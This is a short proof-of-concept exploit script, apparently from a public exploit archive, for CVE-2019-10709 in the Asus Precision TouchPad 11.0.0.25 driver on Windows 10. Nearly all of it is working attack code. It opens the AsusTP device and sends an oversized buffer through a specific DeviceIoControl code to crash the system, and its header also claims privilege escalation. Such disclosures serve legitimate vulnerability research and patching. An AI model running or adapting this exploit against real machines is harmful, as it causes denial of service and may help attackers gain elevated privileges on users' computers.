Asus Precision TouchPad 11.0.0.25 - Denial of Service

#!/usr/bin/python
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc
# Date: 29-08-2019
# Exploit Author: Athanasios Tserpelis of Telspace Systems
# Vendor Homepage: https://www.asus.com
# Version: 11.0.0.25
# Software Link : https://www.asus.com
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows 10 RS5 x64
# CVE: CVE-2019-10709

from ctypes import * 
kernel32 = windll.kernel32 
ntdll = windll.ntdll 
NULL = 0 
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None) 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0) 

buf = "A"*12048 
raw_input("Press Enter to Trigger Vuln") 
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)